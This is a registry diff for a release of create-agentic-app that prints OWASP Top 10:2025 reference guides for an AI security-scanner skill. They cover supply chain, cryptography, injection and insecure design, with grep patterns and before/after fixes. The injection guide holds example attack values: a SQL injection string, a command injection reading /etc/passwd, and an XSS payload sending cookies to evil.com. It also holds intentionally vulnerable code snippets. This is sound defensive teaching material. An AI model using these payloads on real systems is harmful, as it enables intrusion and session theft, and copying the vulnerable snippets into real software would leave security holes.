create-agentic-app 1.1.56 → 1.1.58

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. package/package.json +1 -1
  2. package/template/.agents/skills/security-scanner/SKILL.md +157 -0
  3. package/template/.agents/skills/security-scanner/references/A01-broken-access-control.md +136 -0
  4. package/template/.agents/skills/security-scanner/references/A02-security-misconfiguration.md +130 -0
  5. package/template/.agents/skills/security-scanner/references/A03-software-supply-chain-failures.md +117 -0
  6. package/template/.agents/skills/security-scanner/references/A04-cryptographic-failures.md +141 -0
  7. package/template/.agents/skills/security-scanner/references/A05-injection.md +155 -0
  8. package/template/.agents/skills/security-scanner/references/A06-insecure-design.md +145 -0
  9. package/template/.agents/skills/security-scanner/references/A07-authentication-failures.md +150 -0
  10. package/template/.agents/skills/security-scanner/references/A08-software-data-integrity-failures.md +132 -0
  11. package/template/.agents/skills/security-scanner/references/A09-security-logging-alerting-failures.md +130 -0
  12. package/template/.agents/skills/security-scanner/references/A10-mishandling-exceptional-conditions.md +154 -0
  13. package/template/.agents/skills/security-scanner/references/report-template.md +148 -0
  14. package/template/.claude/agents/security-scanner.md +214 -0
  15. package/template/.claude/skills/security-scanner/SKILL.md +157 -0
  16. package/template/.claude/skills/security-scanner/references/A01-broken-access-control.md +136 -0
  17. package/template/.claude/skills/security-scanner/references/A02-security-misconfiguration.md +130 -0
  18. package/template/.claude/skills/security-scanner/references/A03-software-supply-chain-failures.md +117 -0
  19. package/template/.claude/skills/security-scanner/references/A04-cryptographic-failures.md +141 -0
  20. package/template/.claude/skills/security-scanner/references/A05-injection.md +155 -0
  21. package/template/.claude/skills/security-scanner/references/A06-insecure-design.md +145 -0
  22. package/template/.claude/skills/security-scanner/references/A07-authentication-failures.md +150 -0
  23. package/template/.claude/skills/security-scanner/references/A08-software-data-integrity-failures.md +132 -0
  24. package/template/.claude/skills/security-scanner/references/A09-security-logging-alerting-failures.md +130 -0
  25. package/template/.claude/skills/security-scanner/references/A10-mishandling-exceptional-conditions.md +154 -0
  26. package/template/.claude/skills/security-scanner/references/report-template.md +148 -0
  27. package/template/AGENTS.md +21 -77
  28. package/template/DESIGN.md +451 -0
  29. package/template/next-env.d.ts +1 -1
  30. package/template/specs/ui-polish-responsive/README.md +59 -0
  31. package/template/specs/ui-polish-responsive/action-required.md +3 -0
  32. package/template/specs/ui-polish-responsive/requirements.md +53 -0
  33. package/template/specs/ui-polish-responsive/tasks/task-01-globals-css.md +144 -0
  34. package/template/specs/ui-polish-responsive/tasks/task-02-layout.md +66 -0
  35. package/template/specs/ui-polish-responsive/tasks/task-03-site-header.md +79 -0
  36. package/template/specs/ui-polish-responsive/tasks/task-04-site-footer.md +63 -0
  37. package/template/specs/ui-polish-responsive/tasks/task-05-home-page.md +215 -0
  38. package/template/specs/ui-polish-responsive/tasks/task-06-dashboard.md +222 -0
  39. package/template/specs/ui-polish-responsive/tasks/task-07-chat-page.md +225 -0
  40. package/template/specs/ui-polish-responsive/tasks/task-08-profile-page.md +192 -0
  41. package/template/specs/ui-polish-responsive/tasks/task-09-auth-pages.md +97 -0
  42. package/template/specs/ui-polish-responsive/tasks/task-10-setup-checklist.md +120 -0
  43. package/template/specs/ui-polish-responsive/tasks/task-11-starter-prompt-modal.md +87 -0
  44. package/template/src/app/globals.css +65 -7
  45. package/template/src/app/layout.tsx +2 -2
  46. package/template/src/app/page.tsx +174 -174
  47. package/template/src/components/setup-checklist.tsx +162 -162
  48. package/template/src/components/site-footer.tsx +2 -2
  49. package/template/src/components/site-header.tsx +3 -3
  50. package/template/src/components/starter-prompt-modal.tsx +202 -202
@@ -0,0 +1,117 @@
1
+ # A03:2025 — Software Supply Chain Failures
2
+
3
+ ## Overview
4
+
5
+ Software Supply Chain Failures is #3 in OWASP Top 10:2025. This category covers compromises in building, distributing, or updating software — vulnerabilities or malicious changes embedded in third-party code, tools, or dependencies. Notable incidents include SolarWinds (2019, 18,000 orgs compromised), Bybit ($1.5B theft, 2025), and Log4Shell (CVE-2021-44228).
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-937**: Using Components with Known Vulnerabilities
10
+ - **CWE-1035**: Using Components from Untrusted Sources
11
+ - **CWE-1104**: Use of Unmaintained Third-Party Components
12
+ - **CWE-829**: Inclusion of Functionality from Untrusted Control Sphere
13
+ - **CWE-494**: Download of Code Without Integrity Check
14
+ - **CWE-506**: Embedded Malicious Code
15
+
16
+ ## What to Look For
17
+
18
+ ### General Patterns
19
+ - Known vulnerable dependency versions in package manifests
20
+ - Unpinned or wildcard dependency versions (`*`, `^`, `~` with major ranges)
21
+ - CDN scripts loaded without Subresource Integrity (SRI) hashes
22
+ - Missing lock files or significantly outdated lock files
23
+ - Dependencies from unofficial or untrusted registries
24
+ - No Software Bill of Materials (SBOM) tracking
25
+ - Single-person deployment without review gates
26
+ - CI/CD pipeline configs with weaker security than production
27
+ - Transitive dependencies not tracked or audited
28
+
29
+ ### Grep Patterns
30
+
31
+ ```
32
+ # Wildcard or loose versioning
33
+ "\*"|"latest"|"\^0\."
34
+ ">="|"<="|"~"
35
+
36
+ # CDN scripts without integrity
37
+ <script.*src=.*cdn|<link.*href=.*cdn
38
+ integrity=|crossorigin=
39
+
40
+ # Known vulnerable patterns (check versions)
41
+ lodash.*4\.17\.(0|1[0-1]) # prototype pollution
42
+ axios.*0\.21\.[0-1] # SSRF
43
+ jsonwebtoken.*[5-8]\. # various CVEs
44
+ log4j.*2\.(0|1[0-6]) # Log4Shell
45
+
46
+ # Package manifest files to check
47
+ package\.json|requirements\.txt|Gemfile|go\.mod|pom\.xml|Cargo\.toml|\.csproj
48
+ ```
49
+
50
+ ### JavaScript / TypeScript / Node.js
51
+ - Check `package.json` dependency versions against known CVEs
52
+ - Look for `<script src="https://cdn...">` without `integrity` attribute in HTML/JSX
53
+ - Run `npm audit` or `yarn audit` mentally — flag packages with known issues
54
+ - Check for `package-lock.json` / `yarn.lock` existence and freshness
55
+ - Flag use of deprecated packages (e.g., `request`, `querystring`)
56
+
57
+ ### Python
58
+ - Check `requirements.txt` for pinned versions with known CVEs
59
+ - Look for `pip install` without `--require-hashes`
60
+ - Check for `Pipfile.lock` or `poetry.lock`
61
+
62
+ ### Java
63
+ - Check `pom.xml` dependency versions against known CVEs
64
+ - Look for `<repository>` entries pointing to unofficial Maven repos
65
+ - Flag old Spring, Log4j, Jackson, or Apache Commons versions
66
+
67
+ ## Prevention Measures
68
+
69
+ 1. Generate and maintain Software Bill of Materials (SBOM)
70
+ 2. Track all direct and transitive dependencies
71
+ 3. Remove unused dependencies and unnecessary components
72
+ 4. Continuously monitor for CVEs (OWASP Dependency Check, Snyk, npm audit)
73
+ 5. Obtain components only from official, trusted sources via secure channels
74
+ 6. Implement Subresource Integrity (SRI) for all CDN-loaded resources
75
+ 7. Pin dependency versions and use lock files
76
+ 8. Implement staged rollouts, not simultaneous deployments
77
+ 9. Harden CI/CD pipelines with MFA and access controls
78
+ 10. Require code review for all changes before merge
79
+
80
+ ## Example Attack Scenarios
81
+
82
+ **SolarWinds (2019):** Trusted vendor infiltrated — malware propagated to 18,000 orgs via software updates.
83
+
84
+ **Log4Shell (2021):** CVE-2021-44228 in Apache Log4j enabled remote code execution, affecting millions of Java applications.
85
+
86
+ **Shai-Hulud (2025):** First self-propagating npm worm infected 500+ package versions, harvesting developer credentials.
87
+
88
+ ## Fix Examples
89
+
90
+ **Before (CDN without SRI):**
91
+ ```html
92
+ <script src="https://cdn.example.com/lib.min.js"></script>
93
+ ```
94
+
95
+ **After (CDN with SRI):**
96
+ ```html
97
+ <script src="https://cdn.example.com/lib.min.js"
98
+ integrity="sha384-abc123..."
99
+ crossorigin="anonymous"></script>
100
+ ```
101
+
102
+ **Before (loose dependency versions):**
103
+ ```json
104
+ { "lodash": "^4.17.0", "axios": "*" }
105
+ ```
106
+
107
+ **After (pinned versions, updated):**
108
+ ```json
109
+ { "lodash": "4.17.21", "axios": "1.7.2" }
110
+ ```
111
+
112
+ ## References
113
+
114
+ - [OWASP A03:2025](https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/)
115
+ - OWASP Dependency Check / Dependency Track
116
+ - CycloneDX SBOM Standard
117
+ - OWASP ASVS: Component Verification
@@ -0,0 +1,141 @@
1
+ # A04:2025 — Cryptographic Failures
2
+
3
+ ## Overview
4
+
5
+ Cryptographic Failures is #4 in OWASP Top 10:2025 (down from #2). It covers failures related to lack of cryptography, insufficiently strong cryptography, leaking of cryptographic keys, and related errors. 32 CWEs mapped, 1,665,348 total occurrences, 2,185 CVEs.
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-261**: Weak Encoding for Password
10
+ - **CWE-319**: Cleartext Transmission of Sensitive Information
11
+ - **CWE-321**: Use of Hard-coded Cryptographic Key
12
+ - **CWE-326**: Inadequate Encryption Strength
13
+ - **CWE-327**: Use of Broken or Risky Cryptographic Algorithm
14
+ - **CWE-328**: Reversible One-Way Hash
15
+ - **CWE-330**: Use of Insufficiently Random Values
16
+ - **CWE-338**: Use of Cryptographically Weak PRNG
17
+ - **CWE-759**: Use of One-Way Hash Without a Salt
18
+ - **CWE-916**: Use of Password Hash With Insufficient Computational Effort
19
+
20
+ ## What to Look For
21
+
22
+ ### General Patterns
23
+ - Weak hashing algorithms used for passwords (MD5, SHA1, SHA256 without key stretching)
24
+ - Missing salt in password hashing
25
+ - Hardcoded cryptographic keys, secrets, or API keys in source code
26
+ - Sensitive data transmitted without encryption (HTTP, FTP, SMTP)
27
+ - Weak random number generation for security tokens (Math.random, rand())
28
+ - Cookies missing `Secure` flag (sent over HTTP)
29
+ - Sensitive data in logs (passwords, tokens, credit cards, PII)
30
+ - Base64 encoding used as "encryption" for tokens or secrets
31
+ - Deprecated crypto algorithms (DES, 3DES, RC4, MD5, SHA1)
32
+ - Missing HSTS headers
33
+ - Hardcoded IVs or nonces in encryption
34
+
35
+ ### Grep Patterns
36
+
37
+ ```
38
+ # Weak hashing
39
+ createHash\(['"]md5['"]\)|createHash\(['"]sha1['"]\)
40
+ hashlib\.md5|hashlib\.sha1
41
+ MessageDigest\.getInstance\(['"]MD5['"]\)|MessageDigest\.getInstance\(['"]SHA-1['"]\)
42
+ md5\(|sha1\(
43
+
44
+ # Weak randomness
45
+ Math\.random|random\.random|rand\(\)|Random\(\)
46
+ uuid.*v1|Date\.now
47
+
48
+ # Hardcoded secrets/keys
49
+ SECRET.*=\s*['"][^'"]{8,}|KEY.*=\s*['"][^'"]{8,}|PASSWORD.*=\s*['"][^'"]{4,}
50
+ private.?key|secret.?key|api.?key|access.?token
51
+
52
+ # Base64 as "encryption"
53
+ Buffer\.from.*base64|btoa\(|atob\(
54
+ base64\.encode|base64\.decode
55
+
56
+ # Cookie security flags
57
+ httpOnly\s*:\s*false|secure\s*:\s*false|sameSite.*none
58
+ Set-Cookie(?!.*Secure)(?!.*HttpOnly)
59
+
60
+ # Cleartext protocols
61
+ http:\/\/(?!localhost)|ftp:\/\/|smtp:\/\/
62
+ ```
63
+
64
+ ### JavaScript / TypeScript / Node.js
65
+ - `crypto.createHash('md5')` or `crypto.createHash('sha1')` for password hashing
66
+ - `Math.random()` used for tokens, session IDs, or reset codes
67
+ - `Buffer.from(data).toString('base64')` used as a "token" (trivially decodable)
68
+ - Session cookies set without `httpOnly: true`, `secure: true`, `sameSite: 'strict'`
69
+ - JWT secrets hardcoded in source files
70
+ - Missing `bcrypt`, `argon2`, or `scrypt` for password hashing
71
+
72
+ ### Python
73
+ - `hashlib.md5()` or `hashlib.sha1()` for passwords
74
+ - `random.random()` or `random.randint()` for security tokens (should use `secrets` module)
75
+ - `base64.b64encode()` used as encryption
76
+
77
+ ### Java
78
+ - `MessageDigest.getInstance("MD5")` or `MessageDigest.getInstance("SHA-1")`
79
+ - `java.util.Random` instead of `java.security.SecureRandom`
80
+ - Hardcoded keys in `KeySpec` constructors
81
+
82
+ ## Prevention Measures
83
+
84
+ 1. Classify data and identify what needs encryption per privacy laws and regulations
85
+ 2. Don't store sensitive data unnecessarily — data not retained cannot be stolen
86
+ 3. Encrypt all sensitive data at rest using strong algorithms (AES-256)
87
+ 4. Use TLS 1.2+ for all data in transit; enforce with HSTS
88
+ 5. Store passwords with strong adaptive hashing: Argon2, scrypt, bcrypt, or PBKDF2
89
+ 6. Always use salts and appropriate work factors
90
+ 7. Use CSPRNG for all security-sensitive random values
91
+ 8. Never reuse IVs/nonces with the same key
92
+ 9. Use authenticated encryption (GCM mode, not ECB/CBC)
93
+ 10. Rotate cryptographic keys regularly
94
+ 11. Disable caching for responses containing sensitive data
95
+
96
+ ## Example Attack Scenarios
97
+
98
+ **Scenario 1 — Weak Password Hashing:**
99
+ Password database uses unsalted MD5. Attacker retrieves database via another vulnerability, cracks all passwords via rainbow tables in minutes.
100
+
101
+ **Scenario 2 — Predictable Tokens:**
102
+ Password reset tokens generated with `Math.random()`. Attacker predicts tokens and resets other users' passwords.
103
+
104
+ ## Fix Examples
105
+
106
+ **Before (MD5 password hashing):**
107
+ ```typescript
108
+ import crypto from 'crypto';
109
+ function hashPassword(password: string) {
110
+ return crypto.createHash('md5').update(password).digest('hex');
111
+ }
112
+ ```
113
+
114
+ **After (bcrypt with salt):**
115
+ ```typescript
116
+ import bcrypt from 'bcrypt';
117
+ async function hashPassword(password: string) {
118
+ return bcrypt.hash(password, 12);
119
+ }
120
+ async function verifyPassword(password: string, hash: string) {
121
+ return bcrypt.compare(password, hash);
122
+ }
123
+ ```
124
+
125
+ **Before (predictable token):**
126
+ ```typescript
127
+ const resetToken = Math.random().toString(36).substring(2);
128
+ ```
129
+
130
+ **After (cryptographically secure token):**
131
+ ```typescript
132
+ import crypto from 'crypto';
133
+ const resetToken = crypto.randomBytes(32).toString('hex');
134
+ ```
135
+
136
+ ## References
137
+
138
+ - [OWASP A04:2025](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)
139
+ - OWASP Cheat Sheet: Password Storage
140
+ - OWASP Cheat Sheet: Cryptographic Storage
141
+ - OWASP Cheat Sheet: Transport Layer Protection
@@ -0,0 +1,155 @@
1
+ # A05:2025 — Injection
2
+
3
+ ## Overview
4
+
5
+ Injection is #5 in OWASP Top 10:2025 (down from #3). 100% of applications were tested for injection, and the category holds the highest CVE count at 62,445 across 37 CWEs. Injection occurs when untrusted user input is sent to an interpreter and executed as commands — including SQL, NoSQL, OS command, ORM, LDAP, and Expression Language injection. Cross-Site Scripting (XSS) is included in this category.
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-79**: Cross-site Scripting (XSS) — 30,000+ CVEs
10
+ - **CWE-89**: SQL Injection — 14,000+ CVEs
11
+ - **CWE-78**: OS Command Injection
12
+ - **CWE-20**: Improper Input Validation
13
+ - **CWE-94**: Improper Control of Generation of Code (Code Injection)
14
+ - **CWE-77**: Command Injection
15
+ - **CWE-74**: Injection (general)
16
+ - **CWE-917**: Expression Language Injection
17
+ - **CWE-1336**: Template Injection
18
+
19
+ ## What to Look For
20
+
21
+ ### SQL Injection
22
+ - String concatenation in SQL queries (instead of parameterized queries)
23
+ - Template literals embedding user input directly into SQL
24
+ - ORM methods with raw query options using unsanitized input
25
+ - Dynamic table/column names from user input
26
+
27
+ ### Command Injection
28
+ - `exec()`, `spawn()`, `system()`, `popen()` with user-controlled arguments
29
+ - Shell command strings built with user input concatenation
30
+ - `child_process` usage with unsanitized input
31
+
32
+ ### Cross-Site Scripting (XSS)
33
+ - `dangerouslySetInnerHTML` in React without sanitization
34
+ - `innerHTML`, `outerHTML`, `document.write()` with user data
35
+ - Template rendering of unsanitized user input
36
+ - URL parameters reflected into HTML without encoding
37
+
38
+ ### Code Injection
39
+ - `eval()` with user-controlled input
40
+ - `Function()` constructor with user input
41
+ - `setTimeout`/`setInterval` with string arguments from user input
42
+ - Dynamic `import()` with user-controlled paths
43
+
44
+ ### Server-Side Request Forgery (SSRF)
45
+ - HTTP requests where the URL is user-controlled
46
+ - URL parsing/fetching endpoints without allowlist validation
47
+ - Image/preview/proxy endpoints fetching arbitrary URLs
48
+
49
+ ### Grep Patterns
50
+
51
+ ```
52
+ # SQL injection
53
+ \+.*['"].*SELECT|SELECT.*\+.*req\.|SELECT.*\$\{|SELECT.*%s
54
+ \.query\(.*\+|\.execute\(.*\+|\.raw\(.*\+
55
+ f"SELECT|f"INSERT|f"UPDATE|f"DELETE
56
+
57
+ # Command injection
58
+ exec\(|execSync\(|spawn\(|spawnSync\(
59
+ child_process|subprocess|os\.system|os\.popen
60
+ Runtime\.getRuntime\(\)\.exec
61
+
62
+ # XSS
63
+ dangerouslySetInnerHTML|innerHTML|outerHTML|document\.write
64
+ v-html|ng-bind-html|\{\{\{.*\}\}\}
65
+
66
+ # Code injection
67
+ eval\(|Function\(|new Function|setTimeout\(.*req|setInterval\(.*req
68
+
69
+ # SSRF
70
+ fetch\(.*req\.|axios\(.*req\.|http\.get\(.*req\.|urllib.*req\.
71
+ request\.get\(.*user|requests\.get\(.*param
72
+ ```
73
+
74
+ ### JavaScript / TypeScript / Node.js
75
+ - Template literals in SQL: `` `SELECT * FROM users WHERE id = ${req.params.id}` ``
76
+ - `exec(command)` where command includes user input
77
+ - `dangerouslySetInnerHTML={{ __html: userContent }}`
78
+ - `eval(req.body.code)` or similar
79
+ - `fetch(req.query.url)` in preview/proxy endpoints
80
+
81
+ ### Python (Django/Flask)
82
+ - `cursor.execute(f"SELECT ... {user_input}")` — use parameterized queries
83
+ - `os.system(f"command {user_input}")` — use subprocess with shell=False
84
+ - `eval(request.data)` or `exec(request.data)`
85
+ - Jinja2 `|safe` filter on user input
86
+
87
+ ### Java (Spring)
88
+ - `Statement.executeQuery()` with concatenated SQL (use `PreparedStatement`)
89
+ - `Runtime.getRuntime().exec()` with user input
90
+ - JSP `<%= request.getParameter() %>` without encoding
91
+
92
+ ## Prevention Measures
93
+
94
+ 1. Use parameterized queries / prepared statements for ALL database access
95
+ 2. Use safe APIs that avoid the interpreter entirely
96
+ 3. Implement positive server-side input validation (allowlists)
97
+ 4. Escape special characters using interpreter-specific syntax
98
+ 5. Use LIMIT and other SQL controls to prevent mass disclosure
99
+ 6. For XSS: use framework auto-escaping, CSP headers, sanitize HTML (DOMPurify)
100
+ 7. For command injection: avoid shell execution entirely; use library functions
101
+ 8. For SSRF: validate and allowlist URLs; block internal network ranges
102
+
103
+ ## Example Attack Scenarios
104
+
105
+ **Scenario 1 — SQL Injection:**
106
+ ```
107
+ https://example.com/search?q=' OR '1'='1
108
+ ```
109
+ Query becomes: `SELECT * FROM items WHERE name = '' OR '1'='1'` — returns all records.
110
+
111
+ **Scenario 2 — Command Injection:**
112
+ ```
113
+ https://example.com/export?file=report;cat /etc/passwd
114
+ ```
115
+ Server executes: `convert report;cat /etc/passwd` — leaks system files.
116
+
117
+ **Scenario 3 — XSS:**
118
+ User stores `<script>document.location='https://evil.com/steal?c='+document.cookie</script>` as content, which executes in other users' browsers.
119
+
120
+ ## Fix Examples
121
+
122
+ **Before (SQL injection):**
123
+ ```typescript
124
+ const query = `SELECT * FROM notes WHERE title LIKE '%${searchTerm}%'`;
125
+ const results = db.all(query);
126
+ ```
127
+
128
+ **After (parameterized query):**
129
+ ```typescript
130
+ const results = db.all(
131
+ 'SELECT * FROM notes WHERE title LIKE ?',
132
+ [`%${searchTerm}%`]
133
+ );
134
+ ```
135
+
136
+ **Before (command injection):**
137
+ ```typescript
138
+ const { exec } = require('child_process');
139
+ exec(`convert ${req.query.filename} output.pdf`);
140
+ ```
141
+
142
+ **After (safe alternative):**
143
+ ```typescript
144
+ const { execFile } = require('child_process');
145
+ const safeName = path.basename(req.query.filename);
146
+ execFile('convert', [safeName, 'output.pdf']);
147
+ ```
148
+
149
+ ## References
150
+
151
+ - [OWASP A05:2025](https://owasp.org/Top10/2025/A05_2025-Injection/)
152
+ - OWASP Cheat Sheet: Injection Prevention
153
+ - OWASP Cheat Sheet: SQL Injection Prevention
154
+ - OWASP Cheat Sheet: Query Parameterization
155
+ - OWASP Cheat Sheet: XSS Prevention
@@ -0,0 +1,145 @@
1
+ # A06:2025 — Insecure Design
2
+
3
+ ## Overview
4
+
5
+ Insecure Design is #6 in OWASP Top 10:2025. This category focuses on architectural and design flaws — not implementation bugs. "A secure design can still have implementation defects, but an insecure design cannot be fixed by a perfect implementation." It encompasses 39 CWEs with 729,882 total occurrences. The focus is on missing or ineffective control design around requirements, secure design methodology, and secure development lifecycle.
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-256**: Unprotected Storage of Credentials
10
+ - **CWE-269**: Improper Privilege Management
11
+ - **CWE-434**: Unrestricted Upload of File with Dangerous Type
12
+ - **CWE-501**: Trust Boundary Violation
13
+ - **CWE-522**: Insufficiently Protected Credentials
14
+ - **CWE-657**: Violation of Secure Design Principles
15
+ - **CWE-799**: Improper Control of Interaction Frequency
16
+ - **CWE-807**: Reliance on Untrusted Inputs in Security Decisions
17
+
18
+ ## What to Look For
19
+
20
+ ### General Patterns
21
+ - Missing rate limiting on sensitive endpoints (login, registration, password reset, OTP verification)
22
+ - No input validation or schema validation on API endpoints
23
+ - Business logic flaws (no password complexity requirements, unlimited retries)
24
+ - Missing account lockout mechanisms after failed login attempts
25
+ - Lack of defense in depth (single layer of protection)
26
+ - Reset/verification tokens that are guessable, short, or never expire
27
+ - Missing CAPTCHA or bot protection on public-facing forms
28
+ - Unrestricted file upload (no type/size validation)
29
+ - Security decisions based on client-side data
30
+ - Missing tenant isolation in multi-tenant applications
31
+ - No threat modeling evidence (design assumes trusted users)
32
+
33
+ ### Grep Patterns
34
+
35
+ ```
36
+ # Missing rate limiting
37
+ rateLimit|rate.?limit|throttle|express-rate-limit|slowDown
38
+ login|signin|sign-in|authenticate|register|signup|sign-up
39
+ reset.*password|forgot.*password|verify.*otp|verify.*code
40
+
41
+ # Missing input validation
42
+ body\.|req\.body\.|request\.body
43
+ zod|yup|joi|ajv|validate|validator|schema
44
+ express-validator|class-validator
45
+
46
+ # Password policy
47
+ password.*length|minLength|maxLength|complexity|strength
48
+ passwordPolicy|password.*requirements
49
+
50
+ # File upload without validation
51
+ multer|formidable|busboy|upload
52
+ fileFilter|allowedTypes|mimeType|fileSize|maxSize
53
+
54
+ # Token expiration
55
+ expires|expiry|expiration|ttl|maxAge
56
+ resetToken|verificationToken|otpExpiry
57
+
58
+ # Account lockout
59
+ lockout|maxAttempts|failedAttempts|loginAttempts|accountLock
60
+ ```
61
+
62
+ ### JavaScript / TypeScript / Node.js
63
+ - Express/Next.js API routes without `express-rate-limit` or equivalent middleware
64
+ - Login/register endpoints accepting any password (no length/complexity check)
65
+ - Password reset tokens using short numeric codes without expiration
66
+ - File uploads via `multer` without `fileFilter` or size limits
67
+ - Missing input validation — `req.body` used directly without Zod/Joi/Yup schema
68
+
69
+ ### Python (Django/Flask)
70
+ - Views without `@ratelimit` decorator on auth endpoints
71
+ - Missing `AUTH_PASSWORD_VALIDATORS` in Django settings
72
+ - File uploads without `ALLOWED_EXTENSIONS` check
73
+ - No `django-axes` or equivalent brute-force protection
74
+
75
+ ### Java (Spring)
76
+ - Missing `@RateLimiter` on authentication controllers
77
+ - No password policy configuration in `SecurityConfig`
78
+ - `MultipartFile` accepted without content type validation
79
+
80
+ ## Prevention Measures
81
+
82
+ 1. Establish a secure development lifecycle with AppSec professionals
83
+ 2. Build and maintain libraries of secure design patterns and components
84
+ 3. Use threat modeling for critical authentication, access control, and business logic
85
+ 4. Integrate security requirements into user stories
86
+ 5. Write unit and integration tests that validate threat resistance
87
+ 6. Implement rate limiting on all sensitive endpoints
88
+ 7. Enforce input validation at every tier (client, API, database)
89
+ 8. Segregate system layers based on exposure and protection needs
90
+ 9. Implement robust multi-tenant isolation across all tiers
91
+
92
+ ## Example Attack Scenarios
93
+
94
+ **Scenario 1:** Recovery workflows using knowledge-based questions ("security questions") — multiple people can know the answers, violating NIST 800-63b.
95
+
96
+ **Scenario 2:** Cinema booking system allows unlimited group discount reservations without deposit or rate limiting — attacker books hundreds of seats, causing revenue loss.
97
+
98
+ **Scenario 3:** E-commerce platform lacks bot protection — scalpers buy all limited inventory in seconds using automated tools.
99
+
100
+ ## Fix Examples
101
+
102
+ **Before (no rate limiting on login):**
103
+ ```typescript
104
+ export async function POST(req) {
105
+ const { email, password } = await req.json();
106
+ const user = await db.get('SELECT * FROM users WHERE email = ?', email);
107
+ // ... verify password and return token
108
+ }
109
+ ```
110
+
111
+ **After (with rate limiting):**
112
+ ```typescript
113
+ import rateLimit from 'express-rate-limit';
114
+
115
+ const loginLimiter = rateLimit({
116
+ windowMs: 15 * 60 * 1000, // 15 minutes
117
+ max: 5, // 5 attempts per window
118
+ message: { error: 'Too many login attempts, please try again later' }
119
+ });
120
+
121
+ // Apply loginLimiter middleware to the login route
122
+ ```
123
+
124
+ **Before (no password policy):**
125
+ ```typescript
126
+ const { password } = await req.json();
127
+ const hash = await bcrypt.hash(password, 12);
128
+ ```
129
+
130
+ **After (with password policy):**
131
+ ```typescript
132
+ const { password } = await req.json();
133
+ if (password.length < 12) return Response.json({ error: 'Password must be at least 12 characters' }, { status: 400 });
134
+ if (!/[A-Z]/.test(password) || !/[0-9]/.test(password)) {
135
+ return Response.json({ error: 'Password must contain uppercase and numbers' }, { status: 400 });
136
+ }
137
+ const hash = await bcrypt.hash(password, 12);
138
+ ```
139
+
140
+ ## References
141
+
142
+ - [OWASP A06:2025](https://owasp.org/Top10/2025/A06_2025-Insecure_Design/)
143
+ - OWASP Secure Design Principles Cheat Sheet
144
+ - OWASP SAMM Design
145
+ - The Threat Modeling Manifesto